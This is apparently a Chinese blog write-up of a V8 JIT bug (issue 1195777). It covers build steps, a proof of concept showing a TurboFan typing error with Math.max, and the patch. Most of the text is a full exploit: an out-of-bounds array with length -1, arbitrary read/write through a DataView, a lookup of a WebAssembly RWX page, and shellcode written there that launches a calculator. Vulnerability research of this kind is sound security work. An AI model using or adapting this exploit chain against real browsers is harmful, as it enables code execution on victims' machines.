issue1195777

git reset --hard 1d92aabc3cbe49e4639d8c87f4dccd056961e38c
gclient sync -f
./tools/dev/gm.py x64.release
原理

https://chromium-review.googlesource.com/c/v8/v8/+/2838235
poc

(function() {
  function foo(b) {
    let x = -1;
    if (b) x = 0xFFFF_FFFF;
    return -1 < Math.max(0, x, -1);
  }
  print(foo(true));
  %PrepareFunctionForOptimization(foo);
  print(foo(false));
  %OptimizeFunctionOnNextCall(foo);
  print(foo(true));
})();

可以看到在优化之后与优化之前输出的结果不一样,我们修改一下poc看一下会输出什么

(function() {
  function foo(b) {
    let x = -1;
    if (b) x = 0xFFFF_FFFF;
    return Math.max(0, x, -1);
  }
  print(foo(true));
  %PrepareFunctionForOptimization(foo);
  print(foo(false));
  %OptimizeFunctionOnNextCall(foo);
  print(foo(true));
})();

可以看到都输出了4294967295但是为什么第一次返回的是true第二次返回的是false,我们观察一下turborlizer



可以看到在和-1作比较之后的range(0,4294967295),但是之后又进行了TruncateInt64ToInt32即将4294967295转化为了int32类型使得返回的是-1,-1<-1不成立所以返回的是false

patch

可以看到修复的时候删掉了op = machine()->TruncateInt64ToInt32()该句

利用思路

我们可以用下面的poc来构造一个length为-1(优化之后(0-Math.max(0,x,-1)返回的结果是1,但是实际上返回的是0,这样在后面a1.shift的时候便按照优化来处理使得数组的长度减1,但是实际间1便成了-1从而造成数组越界)的数组造成数组越界,然后便是常规的流程了

var buf = new ArrayBuffer(0x8);
var dv = new DataView(buf);


function i2f(value) {
    dv.setBigUint64(0,BigInt(value),true);
    return dv.getFloat64(0,true);
}

function f2i(value) {
    dv.setFloat64(0,value,true);
    return dv.getBigUint64(0,true);
}
function i2f32(value) {
    dv.setUint32(0,value,true);
    return dv.getFloat32(0,true);
}
function f2i32(value) {
    dv.setFloat32(0,value,true);
    return dv.getBigUint32(0,true);
}

function hex(addr){
    return "0x" + addr.toString(16);
}
function wasm_func() {
    var wasmImports = {
        env: {
            puts: function puts (index) {
                print(utf8ToString(h, index));
            }
        }
    };
    var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,137,128,128,128,0,2,
        96,1,127,1,127,96,0,0,2,140,128,128,128,0,1,3,101,110,118,4,112,117,
        116,115,0,0,3,130,128,128,128,0,1,1,4,132,128,128,128,0,1,112,0,0,5,
        131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,146,128,128,128,0,2,6,
        109,101,109,111,114,121,2,0,5,104,101,108,108,111,0,1,10,141,128,128,
        128,0,1,135,128,128,128,0,0,65,16,16,0,26,11,11,146,128,128,128,0,1,0,
        65,16,11,12,72,101,108,108,111,32,87,111,114,108,100,0]);
    let m = new WebAssembly.Instance(new WebAssembly.Module(buffer),wasmImports);
    let h = new Uint8Array(m.exports.memory.buffer);
    return m.exports.hello;
}

func = wasm_func();
var wasmObjAddr;
var a1, a2,a3,a4,floatArray,obj,objArray,objBuf,objView,tmp_low,tmp_high,addr_high,addr_low;
function foo(b) {
    let x = -1;
    if (b) x = 0xFFFFFFFF;
    a1 = new Array(Math.sign(0 - Math.max(0, x, -1)));
    a1.shift();
    return a1;
}
foo(false);
%PrepareFunctionForOptimization(foo);
foo(false);
%OptimizeFunctionOnNextCall(foo);
a2 = foo(true);
a3 = [1.1,1.1,1.1,1.1,1.1];
objBuf = new ArrayBuffer(0x200);
objView = new DataView(objBuf);
a4 = new BigUint64Array(4);
a4[0] = 0x1122334455667788n;
a4[1] = 0xaabbaabbccddccddn;
a4[2] = 0xdeadbeefdeadbeefn;
a4[3] = 0xeeeeeeeeffffffffn;
obj = {aaaa:"bbbb"};
objArray = [obj];
objArray[0] = func;
a2[0x6] = 0x100;
a2[20] = 0x100;
for(let i = 0;i<0;i++) print(i + ":" + hex(f2i(a3[i])));
addr_high = f2i(a3[38]) >> 32n;
addr_high = addr_high << 32n;
print(hex(addr_high));
addr_low = f2i(a3[48n]) % 0x100000000n;
print(hex(addr_low));
wasmObjAddr = addr_high + addr_low;
print(hex(wasmObjAddr));
function read_dataview(addr){
    let tmp_low = addr << 32n;
    let tmp_hign = addr >> 32n;
    a3[9] = i2f(tmp_low);
    a3[10] = i2f(tmp_hign);
    return f2i(objView.getFloat64(0,true));
}
function write_dataview(addr,payload){
    let tmp_low = addr << 32n;
    let tmp_hign = addr >> 32n;
    a3[9] = i2f(tmp_low);
    a3[10] = i2f(tmp_hign);
    for(var i = 0;i < payload.length;i++){
        objView.setUint8(i,payload[i],true);
    }
}
var sharedInfoAddr = read_dataview(wasmObjAddr+0x7n) - 1n >> 32n ;
sharedInfoAddr = sharedInfoAddr + addr_high;
console.log("share info addr: "+hex(sharedInfoAddr));
var wasmExportedFunctionDataAddr = read_dataview(sharedInfoAddr-0x1n) >> 32n;
wasmExportedFunctionDataAddr = wasmExportedFunctionDataAddr + addr_high;
console.log("wasm_func_data_addr: "+ hex(wasmExportedFunctionDataAddr));
var instanceAddr = read_dataview(wasmExportedFunctionDataAddr+0x3n) >> 32n ;
instanceAddr = instanceAddr + addr_high;
console.log("instanceAddr: "+ hex(instanceAddr));
var rwx_addr = read_dataview(instanceAddr + 0x67n);
console.log("rwx_addr: "+ hex(rwx_addr));
var shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
        96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
        105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
        72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
        72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
        184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
        94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];
write_dataview(rwx_addr, shellcode);
func();

你可能感兴趣的:(issue1195777)